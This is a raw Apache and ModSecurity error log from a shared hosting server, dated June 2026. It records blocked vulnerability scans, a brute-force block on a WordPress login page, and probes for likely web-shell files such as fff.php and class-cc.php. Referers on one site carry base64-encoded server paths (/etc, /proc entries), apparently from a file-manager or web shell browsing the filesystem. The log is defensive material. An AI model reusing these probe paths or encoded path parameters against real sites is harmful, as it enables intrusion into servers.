https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:09:50.281616 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:09:50.696356 2026] [autoindex:error] [pid 531797:tid 532102] [client 5.133.192.203:42437] AH01276: Cannot serve directory /home4/geyserjz/public_html/CanacoAppWeb/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:09:50.731396 2026] [security2:error] [pid 531797:tid 532023] [client 20.151.217.54:40214] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/rum.php"] [unique_id "ai3xTsTA7b1mZrmcA-8eOgAAAi8"] [Sat Jun 13 18:09:50.738899 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2MvbGVzcw== [Sat Jun 13 18:09:50.739174 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2MvbGVzcw== [Sat Jun 13 18:09:50.759725 2026] [security2:error] [pid 531797:tid 531919] [remote 17.246.15.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xTsTA7b1mZrmcA-8ePQACUDc"] [Sat Jun 13 18:09:50.774777 2026] [security2:error] [pid 531797:tid 531946] [remote 57.141.14.32:25225] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xTsTA7b1mZrmcA-8ePgACeVI"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=401&_wpnonce=dacad5c21f&add-to-cart=375 [Sat Jun 13 18:09:50.802982 2026] [security2:error] [pid 531797:tid 532067] [client 191.233.234.186:44288] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/fff.php"] [unique_id "ai3xTsTA7b1mZrmcA-8ePwAAAlk"] [Sat Jun 13 18:09:50.814489 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:09:50.814787 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:09:50.980008 2026] [core:error] [pid 531155:tid 531395] [client 47.79.205.220:58474] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:09:50.980033 2026] [core:error] [pid 531155:tid 531395] [client 47.79.205.220:58474] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:09:51.122448 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL3Rhc2s= [Sat Jun 13 18:09:51.122812 2026] [access_compat:error] [pid 531155:tid 531221] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL3Rhc2s= [Sat Jun 13 18:09:51.128451 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.89:26266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:51.128757 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.89:26266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:51.157755 2026] [security2:error] [pid 531797:tid 531992] [remote 57.141.14.102:30575] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xT8TA7b1mZrmcA-8eVQAChH8"], referer: https://nelsonfarmstn.com/product/orange-blossom-kumquat/?add_to_wishlist=380&_wpnonce=dacad5c21f&add-to-cart=401 [Sat Jun 13 18:09:51.255249 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2MvbGVzcw== [Sat Jun 13 18:09:51.255550 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2MvbGVzcw== [Sat Jun 13 18:09:51.318098 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.12:24994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:51.318607 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.12:24994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:51.352472 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.19.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xT8TA7b1mZrmcA-8eYAACVFU"] [Sat Jun 13 18:09:51.352821 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2lk [Sat Jun 13 18:09:51.353237 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2lk [Sat Jun 13 18:09:51.420347 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.85:48858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:51.420806 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.85:48858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:51.511299 2026] [security2:error] [pid 531155:tid 531220] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xTymiP80klyS0Nnr0XgABEUA"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL3Rhc2s= [Sat Jun 13 18:09:51.617678 2026] [security2:error] [pid 531797:tid 532014] [client 20.151.217.54:48613] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/12.php"] [unique_id "ai3xT8TA7b1mZrmcA-8ebQAAAiY"] [Sat Jun 13 18:09:51.626265 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.113:61234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:51.626573 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.113:61234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:51.674095 2026] [security2:error] [pid 531797:tid 531889] [remote 17.22.253.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xT8TA7b1mZrmcA-8ebwACFRk"] [Sat Jun 13 18:09:51.686169 2026] [security2:error] [pid 531797:tid 531953] [remote 17.241.227.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xT8TA7b1mZrmcA-8ecAACQVk"] [Sat Jun 13 18:09:51.758042 2026] [security2:error] [pid 531797:tid 531969] [remote 17.241.219.193:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 193.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xT8TA7b1mZrmcA-8edAACbWg"] [Sat Jun 13 18:09:51.763759 2026] [access_compat:error] [pid 531155:tid 531182] [remote 216.73.216.182:42312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:51.764018 2026] [access_compat:error] [pid 531155:tid 531182] [remote 216.73.216.182:42312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:51.813342 2026] [access_compat:error] [pid 531797:tid 531991] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDQ0Mi9yb290 [Sat Jun 13 18:09:51.813755 2026] [access_compat:error] [pid 531797:tid 531991] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDQ0Mi9yb290 [Sat Jun 13 18:09:51.874208 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:09:51.874647 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:09:52.042623 2026] [security2:error] [pid 531155:tid 531190] [remote 168.63.79.147:48936] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "thesevensranch.com"] [uri "/wp-login.php"] [unique_id "ai3xUCmiP80klyS0Nnr0agABICI"], referer: https://thesevensranch.com/wp-login.php [Sat Jun 13 18:09:52.320487 2026] [access_compat:error] [pid 531797:tid 531985] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yw== [Sat Jun 13 18:09:52.320783 2026] [access_compat:error] [pid 531797:tid 531985] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yw== [Sat Jun 13 18:09:52.436388 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:52.436684 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:52.529927 2026] [security2:error] [pid 531797:tid 531898] [remote 17.246.23.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUMTA7b1mZrmcA-8ejwACPSI"] [Sat Jun 13 18:09:52.672922 2026] [security2:error] [pid 531797:tid 532078] [client 20.151.217.54:48146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/class-cc.php"] [unique_id "ai3xUMTA7b1mZrmcA-8ekgAAAmQ"] [Sat Jun 13 18:09:52.684585 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.49:60845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:52.685018 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.49:60845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:52.738545 2026] [security2:error] [pid 531797:tid 531910] [remote 17.246.19.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUMTA7b1mZrmcA-8emgAChS4"] [Sat Jun 13 18:09:52.863660 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZQ== [Sat Jun 13 18:09:52.863986 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZQ== [Sat Jun 13 18:09:52.881390 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.113:61250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:52.881842 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.113:61250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:52.958191 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvYXRrYmQvc2VyaW8wL3Bvd2Vy [Sat Jun 13 18:09:52.958621 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 